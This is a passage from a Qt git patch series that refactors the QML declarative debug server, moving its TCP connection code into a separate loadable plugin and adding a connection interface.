QDeclarativeDebugServer::readyRead() } } else { QByteArray message; - pack >> message; + in >> message; QHash::Iterator iter = d->plugins.find(name); @@ -307,7 +265,6 @@ void QDeclarativeDebugServer::readyRead() } } - QList QDeclarativeDebugServer::services() const { const Q_D(QDeclarativeDebugServer); @@ -357,10 +314,12 @@ void QDeclarativeDebugServer::sendMessage(QDeclarativeDebugService *service, const QByteArray &message) { Q_D(QDeclarativeDebugServer); - QPacket pack; - pack << service->name() << message; - d->protocol->send(pack); - d->connection->flush(); + QByteArray msg; + { + QDataStream out(&msg, QIODevice::WriteOnly); + out << service->name() << message; + } + d->connection->send(msg); } QT_END_NAMESPACE diff --git a/src/declarative/debugger/qdeclarativedebugserver_p.h b/src/declarative/debugger/qdeclarativedebugserver_p.h index 6840d63..93ab10b 100644 --- a/src/declarative/debugger/qdeclarativedebugserver_p.h +++ b/src/declarative/debugger/qdeclarativedebugserver_p.h @@ -43,6 +43,7 @@ #define QDECLARATIVEDEBUGSERVER_H #include +#include QT_BEGIN_HEADER @@ -60,8 +61,9 @@ class QDeclarativeDebugServer : public QObject Q_DISABLE_COPY(QDeclarativeDebugServer) public: static QDeclarativeDebugServer *instance(); - void listen(); - void waitForConnection(); + + void setConnection(QDeclarativeDebugServerConnection *connection); + bool hasDebuggingClient() const; QList services() const; @@ -71,15 +73,12 @@ public: bool removeService(QDeclarativeDebugService *service); void sendMessage(QDeclarativeDebugService *service, const QByteArray &message); - -private Q_SLOTS: - void readyRead(); - void newConnection(); + void receiveMessage(const QByteArray &message); private: friend class QDeclarativeDebugService; friend class QDeclarativeDebugServicePrivate; - QDeclarativeDebugServer(int); + QDeclarativeDebugServer(); }; QT_END_NAMESPACE diff --git a/src/declarative/debugger/qdeclarativedebugserverconnection_p.h b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h new file mode 100644 index 0000000..4175126 --- /dev/null +++ b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEDEBUGSERVERCONNECTION_H +#define QDECLARATIVEDEBUGSERVERCONNECTION_H + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class QDeclarativeDebugServerConnection +{ +public: + QDeclarativeDebugServerConnection() {} + virtual ~QDeclarativeDebugServerConnection() {} + + virtual bool isConnected() const = 0; + virtual void send(const QByteArray &message) = 0; + virtual void disconnect() = 0; +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QDECLARATIVEDEBUGSERVERCONNECTION_H diff --git a/src/declarative/debugger/qdeclarativedebugserverplugin_p.h b/src/declarative/debugger/qdeclarativedebugserverplugin_p.h new file mode 100644 index 0000000..e69de29 diff --git a/src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp b/src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp new file mode 100644 index 0000000..223c875 --- /dev/null +++ b/src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp @@ -0,0 +1,163 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qdeclarativedebugservertcpconnection_p.h" + +#include "qdeclarativedebugserver_p.h" +#include "private/qpacketprotocol_p.h" + +#include +#include + + +QT_BEGIN_NAMESPACE + +class QDeclarativeDebugServerTcpConnectionPrivate { +public: + QDeclarativeDebugServerTcpConnectionPrivate(); + + int port; + QTcpSocket *socket; + QPacketProtocol *protocol; + QTcpServer *tcpServer; + + QDeclarativeDebugServer *debugServer; +}; + +QDeclarativeDebugServerTcpConnectionPrivate::QDeclarativeDebugServerTcpConnectionPrivate() : + port(0), + socket(0), + protocol(0), + tcpServer(0), + debugServer(0) +{ +} + +QDeclarativeDebugServerTcpConnection::QDeclarativeDebugServerTcpConnection(int port, QDeclarativeDebugServer *server) : + QObject(server), + d_ptr(new QDeclarativeDebugServerTcpConnectionPrivate) +{ + Q_D(QDeclarativeDebugServerTcpConnection); + d->port = port; + d->debugServer = server; +} + +QDeclarativeDebugServerTcpConnection::~QDeclarativeDebugServerTcpConnection() +{ + delete d_ptr; +} + +bool QDeclarativeDebugServerTcpConnection::isConnected() const +{ + Q_D(const QDeclarativeDebugServerTcpConnection); + return d->socket && d->socket->state() == QTcpSocket::ConnectedState; +} + +void QDeclarativeDebugServerTcpConnection::send(const QByteArray &message) +{ + Q_D(QDeclarativeDebugServerTcpConnection); + + if (!isConnected()) + return; + + QPacket pack; + pack.writeRawData(message.data(), message.length()); + + d->protocol->send(pack); + d->socket->flush(); +} + +void QDeclarativeDebugServerTcpConnection::disconnect() +{ + Q_D(QDeclarativeDebugServerTcpConnection); + + delete d->protocol; + d->protocol = 0; + delete d->socket; + d->socket = 0; +} + +void QDeclarativeDebugServerTcpConnection::listen() +{ + Q_D(QDeclarativeDebugServerTcpConnection); + + d->tcpServer = new QTcpServer(this); + QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection())); + if (d->tcpServer->listen(QHostAddress::Any, d->port)) + qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port); + else + qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port); +} + +void QDeclarativeDebugServerTcpConnection::waitForConnection() +{ + Q_D(QDeclarativeDebugServerTcpConnection); + d->tcpServer->waitForNewConnection(-1); +} + +void QDeclarativeDebugServerTcpConnection::readyRead() +{ + Q_D(QDeclarativeDebugServerTcpConnection); + QPacket packet = d->protocol->read(); + + QByteArray content = packet.data(); + d->debugServer->receiveMessage(content); +} + +void QDeclarativeDebugServerTcpConnection::newConnection() +{ + Q_D(QDeclarativeDebugServerTcpConnection); + + if (d->socket) { + qWarning("QDeclarativeDebugServer error: another client is already connected"); + QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection(); + delete faultyConnection; + return; + } + + d->socket = d->tcpServer->nextPendingConnection(); + d->socket->setParent(this); + d->protocol = new QPacketProtocol(d->socket, this); + QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); +} + + +QT_END_NAMESPACE diff --git a/src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h b/src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h new file mode 100644 index 0000000..f1c749ef --- /dev/null +++ b/src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h @@ -0,0 +1,86 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEDEBUGSERVERTCPCONNECTION_H +#define QDECLARATIVEDEBUGSERVERTCPCONNECTION_H + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +#include + +class QDeclarativeDebugServer; +class QDeclarativeDebugServerTcpConnectionPrivate; +class QDeclarativeDebugServerTcpConnection : public QObject, public QDeclarativeDebugServerConnection +{ + Q_OBJECT + Q_DECLARE_PRIVATE(QDeclarativeDebugServerTcpConnection) + Q_DISABLE_COPY(QDeclarativeDebugServerTcpConnection) + +public: + QDeclarativeDebugServerTcpConnection(int port, QDeclarativeDebugServer *server); + ~QDeclarativeDebugServerTcpConnection(); + + bool isConnected() const; + void send(const QByteArray &message); + void disconnect(); + + void listen(); + void waitForConnection(); + +private Q_SLOTS: + void readyRead(); + void newConnection(); + +private: + QDeclarativeDebugServerTcpConnectionPrivate *d_ptr; +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QDECLARATIVEDEBUGSERVERTCPCONNECTION_H diff --git a/src/declarative/debugger/qpacketprotocol.cpp b/src/declarative/debugger/qpacketprotocol.cpp index c2f7709..ad1e767 100644 --- a/src/declarative/debugger/qpacketprotocol.cpp +++ b/src/declarative/debugger/qpacketprotocol.cpp @@ -452,6 +452,14 @@ bool QPacket::isEmpty() const } /*! + Returns raw packet data. + */ +QByteArray QPacket::data() const +{ + return b; +} + +/*! Clears data in the packet. This is useful for reusing one writable packet. For example \code diff --git a/src/declarative/debugger/qpacketprotocol_p.h b/src/declarative/debugger/qpacketprotocol_p.h index d153833..99fded5 100644 --- a/src/declarative/debugger/qpacketprotocol_p.h +++ b/src/declarative/debugger/qpacketprotocol_p.h @@ -98,6 +98,7 @@ public: void clear(); bool isEmpty() const; + QByteArray data() const; protected: friend class QPacketProtocol; -- cgit v0.12 From 21016c3b28674029a2a205da38f54e362e3635b9 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Fri, 26 Nov 2010 16:22:47 +0100 Subject: QDeclarativeDebug: Move Tcp server to separate plugin Reviewed-by: Christiaan Janssen --- src/declarative/debugger/debugger.pri | 4 +- .../debugger/qdeclarativedebugserver.cpp | 50 +++++- .../debugger/qdeclarativedebugserver_p.h | 2 +- .../debugger/qdeclarativedebugserverconnection_p.h | 9 +- .../qdeclarativedebugservertcpconnection.cpp | 163 ------------------- .../qdeclarativedebugservertcpconnection_p.h | 86 ---------- src/declarative/debugger/qpacketprotocol_p.h | 4 +- src/plugins/plugins.pro | 3 +- src/plugins/qmldebugging/qmldebugging.pro | 4 + .../tcpserver/qtcpserverconnection.cpp | 173 +++++++++++++++++++++ .../qmldebugging/tcpserver/qtcpserverconnection.h | 84 ++++++++++ src/plugins/qmldebugging/tcpserver/tcpserver.pro | 18 +++ 12 files changed, 334 insertions(+), 266 deletions(-) delete mode 100644 src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp delete mode 100644 src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h create mode 100644 src/plugins/qmldebugging/qmldebugging.pro create mode 100644 src/plugins/qmldebugging/tcpserver/qtcpserverconnection.cpp create mode 100644 src/plugins/qmldebugging/tcpserver/qtcpserverconnection.h create mode 100644 src/plugins/qmldebugging/tcpserver/tcpserver.pro diff --git a/src/declarative/debugger/debugger.pri b/src/declarative/debugger/debugger.pri index e7354dc..9152677 100644 --- a/src/declarative/debugger/debugger.pri +++ b/src/declarative/debugger/debugger.pri @@ -8,8 +8,7 @@ SOURCES += \ $$PWD/qdeclarativedebug.cpp \ $$PWD/qdeclarativedebugtrace.cpp \ $$PWD/qdeclarativedebughelper.cpp \ - $$PWD/qdeclarativedebugserver.cpp \ - $$PWD/qdeclarativedebugservertcpconnection.cpp + $$PWD/qdeclarativedebugserver.cpp HEADERS += \ $$PWD/qdeclarativedebuggerstatus_p.h \ @@ -22,5 +21,4 @@ HEADERS += \ $$PWD/qdeclarativedebughelper_p.h \ $$PWD/qdeclarativedebugserverplugin_p.h \ $$PWD/qdeclarativedebugserver_p.h \ - $$PWD/qdeclarativedebugservertcpconnection_p.h \ debugger/qdeclarativedebugserverconnection_p.h diff --git a/src/declarative/debugger/qdeclarativedebugserver.cpp b/src/declarative/debugger/qdeclarativedebugserver.cpp index 6085e3e..a269984 100644 --- a/src/declarative/debugger/qdeclarativedebugserver.cpp +++ b/src/declarative/debugger/qdeclarativedebugserver.cpp @@ -42,9 +42,10 @@ #include "private/qdeclarativedebugserver_p.h" #include "private/qdeclarativedebugservice_p.h" #include "private/qdeclarativedebugservice_p_p.h" -#include "private/qdeclarativedebugservertcpconnection_p.h" #include "private/qdeclarativeengine_p.h" +#include +#include #include #include @@ -89,6 +90,8 @@ public: QHash plugins; QStringList clientPlugins; bool gotHello; + + static QDeclarativeDebugServerConnection *loadConnectionPlugin(); }; QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() : @@ -110,6 +113,36 @@ void QDeclarativeDebugServerPrivate::advertisePlugins() connection->send(message); } +QDeclarativeDebugServerConnection *QDeclarativeDebugServerPrivate::loadConnectionPlugin() +{ + QStringList pluginCandidates; + const QStringList paths = QCoreApplication::libraryPaths(); + foreach (const QString &libPath, paths) { + const QDir dir(libPath + QLatin1String("/qmldebugging")); + if (dir.exists()) { + QStringList plugins(dir.entryList(QDir::Files)); + foreach (const QString &pluginPath, plugins) { + pluginCandidates << dir.absoluteFilePath(pluginPath); + } + } + } + + foreach (const QString &pluginPath, pluginCandidates) { + QPluginLoader loader(pluginPath); + if (!loader.load()) { + continue; + } + QDeclarativeDebugServerConnection *connection = 0; + if (QObject *instance = loader.instance()) + connection = qobject_cast(instance); + + if (connection) + return connection; + loader.unload(); + } + return 0; +} + bool QDeclarativeDebugServer::hasDebuggingClient() const { Q_D(const QDeclarativeDebugServer); @@ -153,15 +186,18 @@ QDeclarativeDebugServer *QDeclarativeDebugServer::instance() if (ok) { server = new QDeclarativeDebugServer(); - QDeclarativeDebugServerTcpConnection *tcpConnection - = new QDeclarativeDebugServerTcpConnection(port, server); + QDeclarativeDebugServerConnection *connection + = QDeclarativeDebugServerPrivate::loadConnectionPlugin(); + if (connection) { + server->d_func()->connection = connection; - tcpConnection->listen(); - if (block) { - tcpConnection->waitForConnection(); + connection->setServer(server); + connection->setPort(port, block); + } else { + qWarning() << QString::fromAscii("QDeclarativeDebugServer: Ignoring\"-qmljsdebugger=%1\". " + "Remote debugger plugin has not been found.").arg(appD->qmljsDebugArgumentsString()); } - server->d_func()->connection = tcpConnection; } else { qWarning(QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". " "Format is -qmljsdebugger=port:[,block]").arg( diff --git a/src/declarative/debugger/qdeclarativedebugserver_p.h b/src/declarative/debugger/qdeclarativedebugserver_p.h index 93ab10b..ec3e60f 100644 --- a/src/declarative/debugger/qdeclarativedebugserver_p.h +++ b/src/declarative/debugger/qdeclarativedebugserver_p.h @@ -54,7 +54,7 @@ QT_MODULE(Declarative) class QDeclarativeDebugService; class QDeclarativeDebugServerPrivate; -class QDeclarativeDebugServer : public QObject +class Q_DECLARATIVE_EXPORT QDeclarativeDebugServer : public QObject { Q_OBJECT Q_DECLARE_PRIVATE(QDeclarativeDebugServer) diff --git a/src/declarative/debugger/qdeclarativedebugserverconnection_p.h b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h index 4175126..631da74 100644 --- a/src/declarative/debugger/qdeclarativedebugserverconnection_p.h +++ b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h @@ -42,7 +42,7 @@ #ifndef QDECLARATIVEDEBUGSERVERCONNECTION_H #define QDECLARATIVEDEBUGSERVERCONNECTION_H -#include +#include QT_BEGIN_HEADER @@ -50,17 +50,22 @@ QT_BEGIN_NAMESPACE QT_MODULE(Declarative) -class QDeclarativeDebugServerConnection +class QDeclarativeDebugServer; +class Q_DECLARATIVE_EXPORT QDeclarativeDebugServerConnection { public: QDeclarativeDebugServerConnection() {} virtual ~QDeclarativeDebugServerConnection() {} + virtual void setServer(QDeclarativeDebugServer *server) = 0; + virtual void setPort(int port, bool bock) = 0; virtual bool isConnected() const = 0; virtual void send(const QByteArray &message) = 0; virtual void disconnect() = 0; }; +Q_DECLARE_INTERFACE(QDeclarativeDebugServerConnection, "com.trolltech.Qt.QDeclarativeDebugServerConnection/1.0") + QT_END_NAMESPACE QT_END_HEADER diff --git a/src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp b/src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp deleted file mode 100644 index 223c875..0000000 --- a/src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp +++ /dev/null @@ -1,163 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qdeclarativedebugservertcpconnection_p.h" - -#include "qdeclarativedebugserver_p.h" -#include "private/qpacketprotocol_p.h" - -#include -#include - - -QT_BEGIN_NAMESPACE - -class QDeclarativeDebugServerTcpConnectionPrivate { -public: - QDeclarativeDebugServerTcpConnectionPrivate(); - - int port; - QTcpSocket *socket; - QPacketProtocol *protocol; - QTcpServer *tcpServer; - - QDeclarativeDebugServer *debugServer; -}; - -QDeclarativeDebugServerTcpConnectionPrivate::QDeclarativeDebugServerTcpConnectionPrivate() : - port(0), - socket(0), - protocol(0), - tcpServer(0), - debugServer(0) -{ -} - -QDeclarativeDebugServerTcpConnection::QDeclarativeDebugServerTcpConnection(int port, QDeclarativeDebugServer *server) : - QObject(server), - d_ptr(new QDeclarativeDebugServerTcpConnectionPrivate) -{ - Q_D(QDeclarativeDebugServerTcpConnection); - d->port = port; - d->debugServer = server; -} - -QDeclarativeDebugServerTcpConnection::~QDeclarativeDebugServerTcpConnection() -{ - delete d_ptr; -} - -bool QDeclarativeDebugServerTcpConnection::isConnected() const -{ - Q_D(const QDeclarativeDebugServerTcpConnection); - return d->socket && d->socket->state() == QTcpSocket::ConnectedState; -} - -void QDeclarativeDebugServerTcpConnection::send(const QByteArray &message) -{ - Q_D(QDeclarativeDebugServerTcpConnection); - - if (!isConnected()) - return; - - QPacket pack; - pack.writeRawData(message.data(), message.length()); - - d->protocol->send(pack); - d->socket->flush(); -} - -void QDeclarativeDebugServerTcpConnection::disconnect() -{ - Q_D(QDeclarativeDebugServerTcpConnection); - - delete d->protocol; - d->protocol = 0; - delete d->socket; - d->socket = 0; -} - -void QDeclarativeDebugServerTcpConnection::listen() -{ - Q_D(QDeclarativeDebugServerTcpConnection); - - d->tcpServer = new QTcpServer(this); - QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection())); - if (d->tcpServer->listen(QHostAddress::Any, d->port)) - qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port); - else - qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port); -} - -void QDeclarativeDebugServerTcpConnection::waitForConnection() -{ - Q_D(QDeclarativeDebugServerTcpConnection); - d->tcpServer->waitForNewConnection(-1); -} - -void QDeclarativeDebugServerTcpConnection::readyRead() -{ - Q_D(QDeclarativeDebugServerTcpConnection); - QPacket packet = d->protocol->read(); - - QByteArray content = packet.data(); - d->debugServer->receiveMessage(content); -} - -void QDeclarativeDebugServerTcpConnection::newConnection() -{ - Q_D(QDeclarativeDebugServerTcpConnection); - - if (d->socket) { - qWarning("QDeclarativeDebugServer error: another client is already connected"); - QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection(); - delete faultyConnection; - return; - } - - d->socket = d->tcpServer->nextPendingConnection(); - d->socket->setParent(this); - d->protocol = new QPacketProtocol(d->socket, this); - QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); -} - - -QT_END_NAMESPACE diff --git a/src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h b/src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h deleted file mode 100644 index f1c749ef..0000000 --- a/src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h +++ /dev/null @@ -1,86 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEDEBUGSERVERTCPCONNECTION_H -#define QDECLARATIVEDEBUGSERVERTCPCONNECTION_H - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -QT_MODULE(Declarative) - -#include - -class QDeclarativeDebugServer; -class QDeclarativeDebugServerTcpConnectionPrivate; -class QDeclarativeDebugServerTcpConnection : public QObject, public QDeclarativeDebugServerConnection -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarativeDebugServerTcpConnection) - Q_DISABLE_COPY(QDeclarativeDebugServerTcpConnection) - -public: - QDeclarativeDebugServerTcpConnection(int port, QDeclarativeDebugServer *server); - ~QDeclarativeDebugServerTcpConnection(); - - bool isConnected() const; - void send(const QByteArray &message); - void disconnect(); - - void listen(); - void waitForConnection(); - -private Q_SLOTS: - void readyRead(); - void newConnection(); - -private: - QDeclarativeDebugServerTcpConnectionPrivate *d_ptr; -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QDECLARATIVEDEBUGSERVERTCPCONNECTION_H diff --git a/src/declarative/debugger/qpacketprotocol_p.h b/src/declarative/debugger/qpacketprotocol_p.h index 99fded5..1c69cdd 100644 --- a/src/declarative/debugger/qpacketprotocol_p.h +++ b/src/declarative/debugger/qpacketprotocol_p.h @@ -59,7 +59,7 @@ class QPacket; class QPacketAutoSend; class QPacketProtocolPrivate; -class Q_DECLARATIVE_PRIVATE_EXPORT QPacketProtocol : public QObject +class Q_DECLARATIVE_EXPORT QPacketProtocol : public QObject { Q_OBJECT public: @@ -89,7 +89,7 @@ private: }; -class Q_DECLARATIVE_PRIVATE_EXPORT QPacket : public QDataStream +class Q_DECLARATIVE_EXPORT QPacket : public QDataStream { public: QPacket(); diff --git a/src/plugins/plugins.pro b/src/plugins/plugins.pro index 722979d..07825d9 100644 --- a/src/plugins/plugins.pro +++ b/src/plugins/plugins.pro @@ -14,5 +14,4 @@ embedded:SUBDIRS *= gfxdrivers decorations mousedrivers kbddrivers symbian:SUBDIRS += s60 contains(QT_CONFIG, phonon): SUBDIRS *= phonon contains(QT_CONFIG, multimedia): SUBDIRS *= audio - - +contains(QT_CONFIG, declarative): SUBDIRS *= qmldebugging diff --git a/src/plugins/qmldebugging/qmldebugging.pro b/src/plugins/qmldebugging/qmldebugging.pro new file mode 100644 index 0000000..01cf1a9 --- /dev/null +++ b/src/plugins/qmldebugging/qmldebugging.pro @@ -0,0 +1,4 @@ +TEMPLATE = subdirs + +SUBDIRS = tcpserver + diff --git a/src/plugins/qmldebugging/tcpserver/qtcpserverconnection.cpp b/src/plugins/qmldebugging/tcpserver/qtcpserverconnection.cpp new file mode 100644 index 0000000..69c1ef5 --- /dev/null +++ b/src/plugins/qmldebugging/tcpserver/qtcpserverconnection.cpp @@ -0,0 +1,173 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qtcpserverconnection.h" + +#include +#include + +#include +#include + +QT_BEGIN_NAMESPACE + +class QTcpServerConnectionPrivate { +public: + QTcpServerConnectionPrivate(); + + int port; + QTcpSocket *socket; + QPacketProtocol *protocol; + QTcpServer *tcpServer; + + QDeclarativeDebugServer *debugServer; +}; + +QTcpServerConnectionPrivate::QTcpServerConnectionPrivate() : + port(0), + socket(0), + protocol(0), + tcpServer(0), + debugServer(0) +{ +} + +QTcpServerConnection::QTcpServerConnection() : + d_ptr(new QTcpServerConnectionPrivate) +{ + +} + +QTcpServerConnection::~QTcpServerConnection() +{ + delete d_ptr; +} + +void QTcpServerConnection::setServer(QDeclarativeDebugServer *server) +{ + Q_D(QTcpServerConnection); + d->debugServer = server; +} + +bool QTcpServerConnection::isConnected() const +{ + Q_D(const QTcpServerConnection); + return d->socket && d->socket->state() == QTcpSocket::ConnectedState; +} + +void QTcpServerConnection::send(const QByteArray &message) +{ + Q_D(QTcpServerConnection); + + if (!isConnected()) + return; + + QPacket pack; + pack.writeRawData(message.data(), message.length()); + + d->protocol->send(pack); + d->socket->flush(); +} + +void QTcpServerConnection::disconnect() +{ + Q_D(QTcpServerConnection); + + delete d->protocol; + d->protocol = 0; + delete d->socket; + d->socket = 0; +} + +void QTcpServerConnection::setPort(int port, bool block) +{ + Q_D(QTcpServerConnection); + d->port = port; + + listen(); + if (block) + d->tcpServer->waitForNewConnection(-1); +} + +void QTcpServerConnection::listen() +{ + Q_D(QTcpServerConnection); + + d->tcpServer = new QTcpServer(this); + QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection())); + if (d->tcpServer->listen(QHostAddress::Any, d->port)) + qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port); + else + qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port); +} + + +void QTcpServerConnection::readyRead() +{ + Q_D(QTcpServerConnection); + QPacket packet = d->protocol->read(); + + QByteArray content = packet.data(); + d->debugServer->receiveMessage(content); +} + +void QTcpServerConnection::newConnection() +{ + Q_D(QTcpServerConnection); + + if (d->socket) { + qWarning("QDeclarativeDebugServer: Another client is already connected"); + QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection(); + delete faultyConnection; + return; + } + + d->socket = d->tcpServer->nextPendingConnection(); + 